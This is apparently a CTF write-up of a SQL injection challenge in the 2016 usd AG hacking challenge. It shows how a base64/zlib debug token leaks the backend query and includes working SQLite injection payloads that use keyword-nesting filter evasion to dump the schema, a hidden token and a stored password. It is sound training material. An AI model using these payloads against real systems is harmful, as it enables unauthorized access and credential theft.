usd hacking challenge 2016 writeup: token 3

This is part 2 in a series of writeups on the 2016 usd AG hacking challenge.

Introduction

SQL injection has always been a favorite and can be quite an art. I regret not having had the chance so far to really learn about its finer points. This one here was fun, even though relatively basic as far as the actual injection was concerned. It focused on filter evasion and featured an interesting initial hurdle.

Inside the mind of a web developer...

Looking at the source of the login page, I noticed this weird JavaScript:

function init() {
    user = document.getElementById('user');
    pass = document.getElementById('pass');
    data = document.getElementById('data');

    user.value="";
    pass.value="";

    document.getElementById('loginForm').onsubmit = function (evt) {
        var u = user.value;
        var p = pass.value;

        u = u.replace("%","_");
        p = p.replace("%","_");

        var foo = u + "%!%" + p;
        foo = btoa(foo);

        data.value=foo;
    }
}

Username and password were merged with %!% as a separator. This string was then BASE64 encoded. Uhm... yeah? Why not? But why?!

There was a hidden data field on the login form, so I suspected that this field was all the backend script ever looked at. Why else would the developer take the trouble to assemble it this way? I decided to ignore the user and pass fields and started to post some stuff via the data field, BASE64 encoding every attempt manually:

js@eris:~/usdhc$ curl --data 'data=YSUhJWE=' http://82.195.79.113/login/


<!DOCTYPE html>
<html>
[...]
<!-- Debug Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSkgAQCK1hTA -->
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
</body>
</html>

What was that Debug Token? Certainly looked like BASE64 as well. But did not decode to anything readable.

Custom alphabet? Some other encoding involved?

I pursued the custom alphabet theory for a while. I had noticed that I could control the debug token with my POST data to a certain extent, so obviously it was echoing some of my input:

js@eris:~/usdhc$ ./test.sh 'a%!%PPPPPcabcdefg'
Encoded: YSUhJVBQUFBQY2FiY2RlZmc=
                <!-- Debug Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSm26gUgkJyYlJySmpauDgCoDhmu -->
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
</body>
</html>
js@eris:~/usdhc$ ./test.sh 'a%!%PPPPPbabcdefg'
Encoded: YSUhJVBQUFBQYmFiY2RlZmc=
                <!-- Debug Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSm26gUgkJSYlJySmpauDgCoBRmt -->
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
</body>
</html>

In the meantime I had started to encapsulate the encoding in a shell script:

#!/bin/bash
encoded=$(echo -n $1|base64)
echo "Encoded: $encoded"
curl -s --data "data=$encoded" http://82.195.79.113/login/ | tail -4

I thought that I might be able to derive the alphabet by carefully controlling input and correlating it with output. This did not work, but then I noticed:

js@eris:~/usdhc$ ./test.sh 'a%!%dfsgjk34r90tuerijgfkjdogj0w3458gu9erugfdjgoierjg890ejfiohsdg89ßgz3497gherusghsdfu9ghsdfjghseuirghkd'
Token: eJw9isEKwjAQRH8lt1wLrdgcepKIB0WogufAbrbZYiO7hoI/48f4YwYPXmbmzczFH/3uaoqiLOGOZj+eTz9Sczv40f+XwQZrwgLmEVTXLDBYiEo8t5245llQElOcGTJxs7b
dpqfiUApFYMoJhal3DXJMeVKo+fOmV9u5LU31pVTLWNzPuCqWJDTNYL/exjqD
js@eris:~/usdhc$ ./test.sh 'a%!%AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSlAAdoDdQDBfjni
js@eris:~/usdhc$ ./test.sh 'a%!%AA'
Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSlAgUR1AKAxFSE_

A long random input produced a long token, but a long input consisting mostly of one letter produced a token of roughly the same length as a very short input string containing the same letter. Obviously, compression was happening on some level. One of the most common forms of string compression is zlib, so I tried putting the decoded string through zcat (i.e. gzip):

js@eris:~/usdhc$ echo -n 'eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSlAgUR1AKAxFSE_' | base64 -d | zcat
base64: invalid input

gzip: stdin: not in gzip format

OK, this underscore at the end should probably be an equal sign.

js@eris:~/usdhc$ echo -n 'eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSlAgUR1AKAxFSE=' | base64 -d | zcat

gzip: stdin: not in gzip format

base64 did not complain any more, but gzip probably expected some kind of file header... How about trying this with PHP? After all, the login script is PHP, too?

#!/usr/bin/php
<?php
$str = base64_decode($argv[1]);
echo gzuncompress($str);
?>
js@eris:~/usdhc$ ./decode.php eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEytuqJ6gqJeSkKBYnFxeX5RSlAgUR1AKAxFSE_
SELECT username FROM users WHERE username='a' and password='aa'js@eris:~/usdhc$

Ohhh! :)

' OR NOT ("MySQL" = "SQLite") -- ?

Since I now got some useful output, I could start probing for potential injections. It was immediately clear that some serious filtering was going on:

js@eris:~/usdhc$ ./test.sh 'a%!%'"'"' OR 1=1; -- #'
SELECT username FROM users WHERE username='a' and password='1=1 -- #'

I had no single quote, and apparently some keywords where being filtered. But at least I was getting what appeared to be meaningful feedback. I tried a few things, very much with MySQL in mind for some reason, and had what I believe would have been a working injection for MySQL relatively quickly:

js@eris:~/usdhc$ ./test.sh 'a\%!% || 1=1 -- #'
SELECT username FROM users WHERE username='a\' and password=' || 1=1 -- #'

This would have escaped the single quote and worked around the filtering of the OR keyword... if this had been MySQL. But it was not. There did not seem to be much room for easy fingerprinting, because I was getting very little output from the DB directly. What would a small challenge site use for the SQLi portion? Maybe what everybody uses when they cannot be bothered to set up a real DB server: SQLite.

SELECTA!!

After checking out the SQLite docs for a while it became clear that this injection could not possibly work with it. No backslash escapes, and the || operator means something completely different. I had tried a few things for escaping or encoding the single quote before but had skipped a rather common one because it did not seem to make sense to me in this context: URL encoding.

js@eris:~/usdhc$ ./test.sh '%27%!% OR 1=1 -- #'
SELECT username FROM users WHERE username=''' and password='1=1 -- #'

Nice, there was my single quote escape using '' - compliant with the SQL standard, which SQLite strictly implements here. As for the OR, I had noticed that other keywords were being filtered as well, and I used that to my advantage:

js@eris:~/usdhc$ ./test.sh '%27%!% SELECTOR 1=1 -- #'
SELECT username FROM users WHERE username=''' and password=' or 1=1 -- #'

MY SELECTA!

I actually had a valid injection now but still needed to verify it, so I changed my test script to include more output again:

#!/bin/bash
encoded=$(echo -n $1|base64)
token=$(curl -s --data "data=$encoded" http://82.195.79.113/login/ | grep "Debug Token" | sed -e 's/.*Debug Token: //g' | sed -e 's/ -->.*//g')
curl -s --data "data=$encoded" http://82.195.79.113/login/index.php | tail -5
./decode.php $token
echo
js@eris:~/usdhc$ ./test.sh '%27%!% SELECTOR 1=1 -- #'
                </form>
                <!-- Debug Token: eJwLdvVxdQ5RKC1OLcpLzE1VcAvy9wXzihXCPVyDXOEyturq6gqJeSkKBYnFxeX5RSm26gr5RQqGtoYKuroKyuoAdqwWog__ -->
<div style="margin-top: 10px;height:25px; border-color:green; border-style: dashed; vertical-align: middle; line-height:25px">Hello admin. Welcome. You will never find the <b>token<i>s</i></b></div>      </div>
</body>
</html>
SELECT username FROM users WHERE username=''' and password=' or 1=1 -- #'

I was in. You will never find the tokens? We would see about that... I wanted to know more about the tables in this DB (test script again slightly adapted):

js@eris:~/usdhc$ ./test.sh '%27%!% union all select name from sqlite_master -- #'
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     SELECT username FROM users WHERE username=''' and password='  all  name  sqlite_master -- #'

Filtering strikes again... but I already knew how to defeat it from earlier poking. It is one of the oldest filter evasion tricks ever - nesting:

js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect name frfromom sqlite_master -- #'
<div style="margin-top: 10px;height:25px; border-color:green; border-style: dashed; vertical-align: middle; line-height:25px">Hello tokens. Welcome. You will never find the <b>token<i>s</i></b></div>     </div>
SELECT username FROM users WHERE username=''' and password=' union all select name from sqlite_master -- #'

Hello tokens? Well, yeah, why, hello!! Care to show me your attributes? (Again, hard filtering overcome by increasingly crazy nesting.)

js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect sql frfromom sqlite_master whwhereere name=%27tokens%27 -- #'
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
SELECT username FROM users WHERE username=''' and password=' union all select sql from sqlite_master where name='' -- #'
js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect sql frfromom sqlite_master whwhereere name=%27toktokensens%27 -- #'
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
SELECT username FROM users WHERE username=''' and password=' union all select sql from sqlite_master where name='s' -- #'
js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect sql frfromom sqlite_master whwhereere name=%27toktoktokensenens%27 -- #'
<div style="margin-top: 10px;height:25px; border-color:green; border-style: dashed; vertical-align: middle; line-height:25px">Hello CREATE TABLE tokens (token STRING). Welcome. You will never find the <b>token<i>s</i></b></div> </div>
SELECT username FROM users WHERE username=''' and password=' union all select sql from sqlite_master where name='tokens' -- #'

toktoktokensenens? Yeah, that sounded about right... anyway, there was a column named token. (I could have guessed, I guess, but it's always better to check...)

Which meant... game over with the next SELECT:

js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect toktoktokensenen frfromom toktoktokensenens -- #'
<div style="margin-top: 10px;height:25px; border-color:green; border-style: dashed; vertical-align: middle; line-height:25px">Hello Token: 371849. Welcome. You will never find the <b>token<i>s</i></b></div>      </div>
SELECT username FROM users WHERE username=''' and password=' union all select token from tokens -- #'

And just because they said tokens...

js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect toktoktokensenen frfromom toktoktokensenens limit 1 offset 1 -- #'
<div style="margin-top: 10px;height:25px; border-color:red; border-style: dashed; vertical-align: middle; line-height:25px">Wrong credentials</div>     </div>
SELECT username FROM users WHERE username=''' and password=' union all select token from tokens limit 1 offset 1 -- #'

Nope. No more tokens. Oh, and just because I could:

js@eris:~/usdhc$ ./test.sh '%27%!% ununionion all seselectlect password frfromom users  -- #'
<div style="margin-top: 10px;height:25px; border-color:green; border-style: dashed; vertical-align: middle; line-height:25px">Hello sup3r#secretp4$$. Welcome. You will never find the <b>token<i>s</i></b></div>   </div>
SELECT username FROM users WHERE username=''' and password=' union all select password from users -- #'

On to part 3!

Comments !